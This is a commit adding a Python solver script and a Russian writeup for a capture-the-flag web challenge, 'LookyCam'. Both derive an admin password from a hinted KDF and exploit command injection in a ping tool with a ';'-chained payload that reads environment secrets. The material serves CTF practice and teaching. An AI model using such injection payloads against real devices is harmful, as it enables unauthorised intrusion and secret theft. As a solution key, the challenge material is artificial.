Init. import
This commit is contained in:
152
GAME/camera/solve_camera.py
Normal file
152
GAME/camera/solve_camera.py
Normal file
@@ -0,0 +1,152 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import hashlib
|
||||
import http.cookiejar
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
from typing import Optional, Tuple
|
||||
from urllib import parse, request
|
||||
|
||||
|
||||
def sha1_hex(value: str) -> str:
|
||||
return hashlib.sha1(value.encode("utf-8")).hexdigest()
|
||||
|
||||
|
||||
def normalize_base(raw: str) -> str:
|
||||
if "://" not in raw:
|
||||
raw = "http://" + raw
|
||||
return raw.rstrip("/")
|
||||
|
||||
|
||||
def read_part_a(cli_value: Optional[str]) -> Optional[str]:
|
||||
if cli_value:
|
||||
return cli_value
|
||||
env_value = os.getenv("PWD_PART_A")
|
||||
if env_value:
|
||||
return env_value
|
||||
candidates = [
|
||||
os.path.join(os.getcwd(), "web_camera_5.yml"),
|
||||
os.path.join(os.path.dirname(__file__), "web_camera_5.yml"),
|
||||
]
|
||||
for path in candidates:
|
||||
if not os.path.exists(path):
|
||||
continue
|
||||
try:
|
||||
data = open(path, "r", encoding="utf-8", errors="ignore").read()
|
||||
except OSError:
|
||||
continue
|
||||
match = re.search(r"PWD_PART_A=([^\s]+)", data)
|
||||
if match:
|
||||
return match.group(1)
|
||||
return None
|
||||
|
||||
|
||||
def get_uid(opener: request.OpenerDirector, base: str) -> Optional[str]:
|
||||
resp = opener.open(base + "/login")
|
||||
uid = resp.headers.get("X-Device-Id")
|
||||
if uid:
|
||||
return uid.strip()
|
||||
body = resp.read().decode("utf-8", errors="ignore")
|
||||
match = re.search(r"UID:\s*([A-Za-z0-9_-]+)", body)
|
||||
return match.group(1) if match else None
|
||||
|
||||
|
||||
def has_cookie(cj: http.cookiejar.CookieJar, name: str) -> bool:
|
||||
return any(cookie.name == name for cookie in cj)
|
||||
|
||||
|
||||
def login(
|
||||
opener: request.OpenerDirector,
|
||||
cj: http.cookiejar.CookieJar,
|
||||
base: str,
|
||||
uid: str,
|
||||
part_a: str,
|
||||
) -> str:
|
||||
password = sha1_hex(f"{part_a}:{uid}")[:10]
|
||||
data = parse.urlencode({"username": "admin", "password": password}).encode("utf-8")
|
||||
req = request.Request(base + "/login", data=data, method="POST")
|
||||
opener.open(req).read()
|
||||
if not has_cookie(cj, "sid"):
|
||||
raise RuntimeError("login failed: no session cookie")
|
||||
return password
|
||||
|
||||
|
||||
def find_flag(text: str) -> Optional[str]:
|
||||
match = re.search(r"caplag\{[^}]+\}[^\s<]*", text)
|
||||
return match.group(0) if match else None
|
||||
|
||||
|
||||
def exploit_ping(
|
||||
opener: request.OpenerDirector,
|
||||
base: str,
|
||||
) -> Tuple[Optional[str], Optional[str], str]:
|
||||
payload = "127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C"
|
||||
data = parse.urlencode({"host": payload}).encode("utf-8")
|
||||
req = request.Request(base + "/admin/tools/ping", data=data, method="POST")
|
||||
text = opener.open(req).read().decode("utf-8", errors="ignore")
|
||||
rce_match = re.search(r"RCE:([^\s<]+)", text)
|
||||
partc_match = re.search(r"PARTC:([^\s<]+)", text)
|
||||
rce_flag = rce_match.group(1) if rce_match else find_flag(text)
|
||||
part_c = partc_match.group(1) if partc_match else None
|
||||
return rce_flag, part_c, text
|
||||
|
||||
|
||||
def redeem_flag(
|
||||
opener: request.OpenerDirector,
|
||||
base: str,
|
||||
part_a: str,
|
||||
part_c: str,
|
||||
uid: str,
|
||||
) -> Tuple[str, Optional[str]]:
|
||||
key = sha1_hex(f"{part_a}:{part_c}:{uid}")[:16]
|
||||
data = parse.urlencode({"key": key}).encode("utf-8")
|
||||
req = request.Request(base + "/admin/redeem", data=data, method="POST")
|
||||
text = opener.open(req).read().decode("utf-8", errors="ignore")
|
||||
return key, find_flag(text)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description="Solve LookyCam challenge.")
|
||||
parser.add_argument("--url", default="http://127.0.0.1:8070", help="Base URL")
|
||||
parser.add_argument("--part-a", dest="part_a", help="PWD_PART_A value")
|
||||
args = parser.parse_args()
|
||||
|
||||
base = normalize_base(args.url)
|
||||
part_a = read_part_a(args.part_a)
|
||||
if not part_a:
|
||||
print("PWD_PART_A not provided and not found in web_camera_5.yml", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
cj = http.cookiejar.CookieJar()
|
||||
opener = request.build_opener(request.HTTPCookieProcessor(cj))
|
||||
|
||||
uid = get_uid(opener, base)
|
||||
if not uid:
|
||||
print("Failed to determine CAMERA_UID from /login", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
try:
|
||||
password = login(opener, cj, base, uid, part_a)
|
||||
except RuntimeError as exc:
|
||||
print(str(exc), file=sys.stderr)
|
||||
return 2
|
||||
|
||||
rce_flag, part_c, _ = exploit_ping(opener, base)
|
||||
if not part_c:
|
||||
print("Failed to extract PWD_PART_C via ping injection", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
key, final_flag = redeem_flag(opener, base, part_a, part_c, uid)
|
||||
|
||||
print(f"uid: {uid}")
|
||||
print(f"login_password: {password}")
|
||||
print(f"rce_flag: {rce_flag or 'not found'}")
|
||||
print(f"part_c: {part_c}")
|
||||
print(f"redeem_key: {key}")
|
||||
print(f"final_flag: {final_flag or 'not found'}")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
53
GAME/camera/writeup.md
Normal file
53
GAME/camera/writeup.md
Normal file
@@ -0,0 +1,53 @@
|
||||
# Writeup: LookyCam (camera)
|
||||
|
||||
Ниже — ожидаемый путь решения: добыть UID, вычислить пароль администратора по подсказанной KDF, получить RCE через ping и собрать финальный ключ.
|
||||
|
||||
## Шаги решения
|
||||
1. PWD_PART_A -получили из стеги в хранилище
|
||||
1. Открыть `/login` и получить `CAMERA_UID`. Он приходит в заголовке `X-Device-Id` и дублируется на странице.
|
||||
2. Сымитировать 3 неудачных логина. После третьей попытки сервер вернёт заголовок `X-Password-KDF` с формулой:
|
||||
`sha1(part + ":" + uid)[0:10]`.
|
||||
3. Подставить известную часть `partA` и посчитать пароль:
|
||||
`password = sha1(partA:uid)[:10]`.
|
||||
4. Войти в `/admin` под `admin` с этим паролем и получить сессию.
|
||||
5. В `/admin/tools/ping` есть command injection: значение `host` без фильтрации попадает в `sh -lc "ping ... ${host}"`.
|
||||
Через `;` можно выполнить произвольные команды и прочитать переменные окружения:
|
||||
`127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C`
|
||||
6. Из ответа взять `PWD_PART_C` и флаг RCE.
|
||||
7. Посчитать ключ для `/admin/redeem`:
|
||||
`key = sha1(partA:partC:uid)[:16]`.
|
||||
8. Отправить ключ в `/admin/redeem` и получить финальный флаг.
|
||||
|
||||
## Примеры запросов
|
||||
```bash
|
||||
# 1) UID
|
||||
curl -i http://<host>/login
|
||||
|
||||
# 2) 3 фейл-логина, смотрим X-Password-KDF в ответе
|
||||
curl -i -d "username=admin&password=bad" http://<host>/login
|
||||
|
||||
# 3) Логин с правильным паролем
|
||||
curl -i -c cookies.txt -d "username=admin&password=<calc>" http://<host>/login
|
||||
|
||||
# 4) Инъекция в ping
|
||||
curl -i -b cookies.txt -d "host=127.0.0.1; echo RCE:\$CAMERA_RCE_FLAG; echo PARTC:\$PWD_PART_C" \
|
||||
http://<host>/admin/tools/ping
|
||||
|
||||
# 5) Редим финального флага
|
||||
curl -i -b cookies.txt -d "key=<calc>" http://<host>/admin/redeem
|
||||
```
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
|
||||
def sha1(x: str) -> str:
|
||||
return hashlib.sha1(x.encode()).hexdigest()
|
||||
|
||||
uid = "LCAM-9f31"
|
||||
part_a = "..."
|
||||
part_c = "..."
|
||||
|
||||
password = sha1(f"{part_a}:{uid}")[:10]
|
||||
key = sha1(f"{part_a}:{part_c}:{uid}")[:16]
|
||||
print(password, key)
|
||||
```
|
||||
Reference in New Issue
Block a user